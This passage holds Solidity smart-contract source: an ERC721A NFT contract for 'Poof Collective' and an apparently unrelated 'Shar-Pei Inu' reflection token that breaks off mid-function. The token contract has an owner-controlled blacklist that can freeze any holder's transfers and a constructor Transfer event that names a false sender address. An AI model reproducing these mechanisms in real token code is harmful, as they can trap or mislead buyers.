abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a nonReentrant function from another nonReentrant
* function is not supported. It is possible to prevent this from happening
* by making the nonReentrant function external, and making it call a
* private function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* onlyOwner, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* onlyOwner functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (newOwner).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (newOwner).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
//-------------END DEPENDENCIES------------------------//
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..).
*
* Assumes the number of issuable tokens (collection size) is capped and fits in a uint128.
*
* Does not support burning tokens to address(0).
*/
contract ERC721A is
Context,
ERC165,
IERC721,
IERC721Metadata,
IERC721Enumerable
{
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
uint256 private currentIndex;
uint256 public immutable collectionSize;
uint256 public maxBatchSize;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) private _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev
* maxBatchSize refers to how much a minter can mint at a time.
* collectionSize_ refers to how many tokens are in the collection.
*/
constructor(
string memory name_,
string memory symbol_,
uint256 maxBatchSize_,
uint256 collectionSize_
) {
require(
collectionSize_ > 0,
"ERC721A: collection must have a nonzero supply"
);
require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero");
_name = name_;
_symbol = symbol_;
maxBatchSize = maxBatchSize_;
collectionSize = collectionSize_;
currentIndex = _startTokenId();
}
/**
* To change the starting tokenId, please override this function.
*/
function _startTokenId() internal view virtual returns (uint256) {
return 1;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalMinted();
}
function currentTokenId() public view returns (uint256) {
return _totalMinted();
}
function getNextTokenId() public view returns (uint256) {
return SafeMath.add(_totalMinted(), 1);
}
/**
* Returns the total amount of tokens minted in the contract.
*/
function _totalMinted() internal view returns (uint256) {
unchecked {
return currentIndex - _startTokenId();
}
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), "ERC721A: global index out of bounds");
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(collectionSize). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
override
returns (uint256)
{
require(index < balanceOf(owner), "ERC721A: owner index out of bounds");
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx = 0;
address currOwnershipAddr = address(0);
for (uint256 i = 0; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
revert("ERC721A: unable to get token of owner by index");
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), "ERC721A: balance query for the zero address");
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(
owner != address(0),
"ERC721A: number minted query for the zero address"
);
return uint256(_addressData[owner].numberMinted);
}
function ownershipOf(uint256 tokenId)
internal
view
returns (TokenOwnership memory)
{
uint256 curr = tokenId;
unchecked {
if (_startTokenId() <= curr && curr < currentIndex) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
// Invariant:
// There will always be an ownership that has an address and is not burned
// before an ownership that does not have an address and is not burned.
// Hence, curr will not underflow.
while (true) {
curr--;
ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
}
}
revert("ERC721A: unable to determine the owner of token");
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
string memory baseURI = _baseURI();
return
bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the baseURI and the tokenId. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
require(to != owner, "ERC721A: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721A: approve caller is not owner nor approved for all"
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), "ERC721A: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), "ERC721A: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721A: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether tokenId exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (_mint),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return _startTokenId() <= tokenId && tokenId < currentIndex;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, "");
}
/**
* @dev Mints quantity tokens and transfers them to to.
*
* Requirements:
*
* - there must be quantity tokens remaining unminted in the total collection.
* - to cannot be the zero address.
* - quantity cannot be larger than the max batch size.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), "ERC721A: mint to the zero address");
// We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering.
require(!_exists(startTokenId), "ERC721A: token already minted");
require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high");
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
AddressData memory addressData = _addressData[to];
_addressData[to] = AddressData(
addressData.balance + uint128(quantity),
addressData.numberMinted + uint128(quantity)
);
_ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp));
uint256 updatedIndex = startTokenId;
for (uint256 i = 0; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
"ERC721A: transfer to non ERC721Receiver implementer"
);
updatedIndex++;
}
currentIndex = updatedIndex;
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers tokenId from from to to.
*
* Requirements:
*
* - to cannot be the zero address.
* - tokenId token must be owned by from.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(
isApprovedOrOwner,
"ERC721A: transfer caller is not owner nor approved"
);
require(
prevOwnership.addr == from,
"ERC721A: transfer from incorrect owner"
);
require(to != address(0), "ERC721A: transfer to the zero address");
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp));
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId] = TokenOwnership(
prevOwnership.addr,
prevOwnership.startTimestamp
);
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve to to operate on tokenId
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
uint256 public nextOwnerToExplicitlySet = 0;
/**
* @dev Explicitly set owners to eliminate loops in future calls of ownerOf().
*/
function _setOwnersExplicit(uint256 quantity) internal {
uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet;
require(quantity > 0, "quantity must be nonzero");
if (currentIndex == _startTokenId()) revert('No Tokens Minted Yet');
uint256 endIndex = oldNextOwnerToSet + quantity - 1;
if (endIndex > collectionSize - 1) {
endIndex = collectionSize - 1;
}
// We know if the last one in the group exists, all in the group exist, due to serial ordering.
require(_exists(endIndex), "not enough minted yet for this cleanup");
for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) {
if (_ownerships[i].addr == address(0)) {
TokenOwnership memory ownership = ownershipOf(i);
_ownerships[i] = TokenOwnership(
ownership.addr,
ownership.startTimestamp
);
}
}
nextOwnerToExplicitlySet = endIndex + 1;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try
IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data)
returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721A: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When from and to are both non-zero, from's tokenId will be
* transferred to to.
* - When from is zero, tokenId will be minted for to.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when from and to are both non-zero.
* - from and to are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
abstract contract Ramppable {
address public RAMPPADDRESS = 0xa9dAC8f3aEDC55D0FE707B86B8A45d246858d2E1;
modifier isRampp() {
require(msg.sender == RAMPPADDRESS, "Ownable: caller is not RAMPP");
_;
}
}
interface IERC20 {
function transfer(address _to, uint256 _amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
}
abstract contract Withdrawable is Ownable, Ramppable {
address[] public payableAddresses = [RAMPPADDRESS,0x65911F7A1F222e31C1B5bC8396ac7A01529ED3A0];
uint256[] public payableFees = [5,95];
uint256 public payableAddressCount = 2;
function withdrawAll() public onlyOwner {
require(address(this).balance > 0);
_withdrawAll();
}
function withdrawAllRampp() public isRampp {
require(address(this).balance > 0);
_withdrawAll();
}
function _withdrawAll() private {
uint256 balance = address(this).balance;
for(uint i=0; i < payableAddressCount; i++ ) {
_widthdraw(
payableAddresses[i],
(balance * payableFees[i]) / 100
);
}
}
function _widthdraw(address _address, uint256 _amount) private {
(bool success, ) = _address.call{value: _amount}("");
require(success, "Transfer failed.");
}
/**
* @dev Allow contract owner to withdraw ERC-20 balance from contract
* while still splitting royalty payments to all other team members.
* in the event ERC-20 tokens are paid to the contract.
* @param _tokenContract contract of ERC-20 token to withdraw
* @param _amount balance to withdraw according to balanceOf of ERC-20 token
*/
function withdrawAllERC20(address _tokenContract, uint256 _amount) public onlyOwner {
require(_amount > 0);
IERC20 tokenContract = IERC20(_tokenContract);
require(tokenContract.balanceOf(address(this)) >= _amount, 'Contract does not own enough tokens');
for(uint i=0; i < payableAddressCount; i++ ) {
tokenContract.transfer(payableAddresses[i], (_amount * payableFees[i]) / 100);
}
}
}
abstract contract RamppERC721A is
Ownable,
ERC721A,
Withdrawable,
ReentrancyGuard {
constructor(
string memory tokenName,
string memory tokenSymbol
) ERC721A(tokenName, tokenSymbol, 5, 1000 ) {}
using SafeMath for uint256;
uint8 public CONTRACT_VERSION = 2;
string public _baseTokenURI = "ipfs://Qmdhmm3SuAfkQBcuxd5HfoiM6zEaF2M89s6WYoWzqTDT7q/";
bool public mintingOpen = true;
uint256 public PRICE = 0.01 ether;
/////////////// Admin Mint Functions
/**
* @dev Mints a token to an address with a tokenURI.
* This is owner only and allows a fee-free drop
* @param _to address of the future owner of the token
*/
function mintToAdmin(address _to) public onlyOwner {
require(getNextTokenId() <= collectionSize, "Cannot mint over supply cap of 1000");
_safeMint(_to, 1);
}
function mintManyAdmin(address[] memory _addresses, uint256 _addressCount) public onlyOwner {
for(uint i=0; i < _addressCount; i++ ) {
mintToAdmin(_addresses[i]);
}
}
/////////////// GENERIC MINT FUNCTIONS
/**
* @dev Mints a single token to an address.
* fee may or may not be required*
* @param _to address of the future owner of the token
*/
function mintTo(address _to) public payable {
require(getNextTokenId() <= collectionSize, "Cannot mint over supply cap of 1000");
require(mintingOpen == true, "Minting is not open right now!");
require(msg.value == PRICE, "Value needs to be exactly the mint fee!");
_safeMint(_to, 1);
}
/**
* @dev Mints a token to an address with a tokenURI.
* fee may or may not be required*
* @param _to address of the future owner of the token
* @param _amount number of tokens to mint
*/
function mintToMultiple(address _to, uint256 _amount) public payable {
require(_amount >= 1, "Must mint at least 1 token");
require(_amount <= maxBatchSize, "Cannot mint more than max mint per transaction");
require(mintingOpen == true, "Minting is not open right now!");
require(currentTokenId() + _amount <= collectionSize, "Cannot mint over supply cap of 1000");
require(msg.value == getPrice(_amount), "Value below required mint fee for amount");
_safeMint(_to, _amount);
}
function openMinting() public onlyOwner {
mintingOpen = true;
}
function stopMinting() public onlyOwner {
mintingOpen = false;
}
/**
* @dev Allows owner to set Max mints per tx
* @param _newMaxMint maximum amount of tokens allowed to mint per tx. Must be >= 1
*/
function setMaxMint(uint256 _newMaxMint) public onlyOwner {
require(_newMaxMint >= 1, "Max mint must be at least 1");
maxBatchSize = _newMaxMint;
}
function setPrice(uint256 _feeInWei) public onlyOwner {
PRICE = _feeInWei;
}
function getPrice(uint256 _count) private view returns (uint256) {
return PRICE.mul(_count);
}
function _baseURI() internal view virtual override returns (string memory) {
return _baseTokenURI;
}
function baseTokenURI() public view returns (string memory) {
return _baseTokenURI;
}
function setBaseURI(string calldata baseURI) external onlyOwner {
_baseTokenURI = baseURI;
}
function getOwnershipData(uint256 tokenId) external view returns (TokenOwnership memory) {
return ownershipOf(tokenId);
}
}
// File: contracts/PoofCollectiveContract.sol
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract PoofCollectiveContract is RamppERC721A {
constructor() RamppERC721A("Poof Collective", "PC"){}
function contractURI() public pure returns (string memory) {
return "https://us-central1-nft-rampp.cloudfunctions.net/app/pIJZ2krREa2ZbhhTPl8u/contract-metadata";
}
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/**
*Submitted for verification at Etherscan.io on 2021-11-17
*/
pragma solidity ^0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SharPeiInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Shar-Pei Inu";
string private constant _symbol = "Shar-Pei";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x57177cb34B164f4d27818c352e78E64d75c435CE);
_feeAddrWallet2 = payable(0x57177cb34B164f4d27818c352e78E64d75c435CE);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0xE631F27A64Cb10EcDf4d9AF3eB93EB9b6534d49d), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 9;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
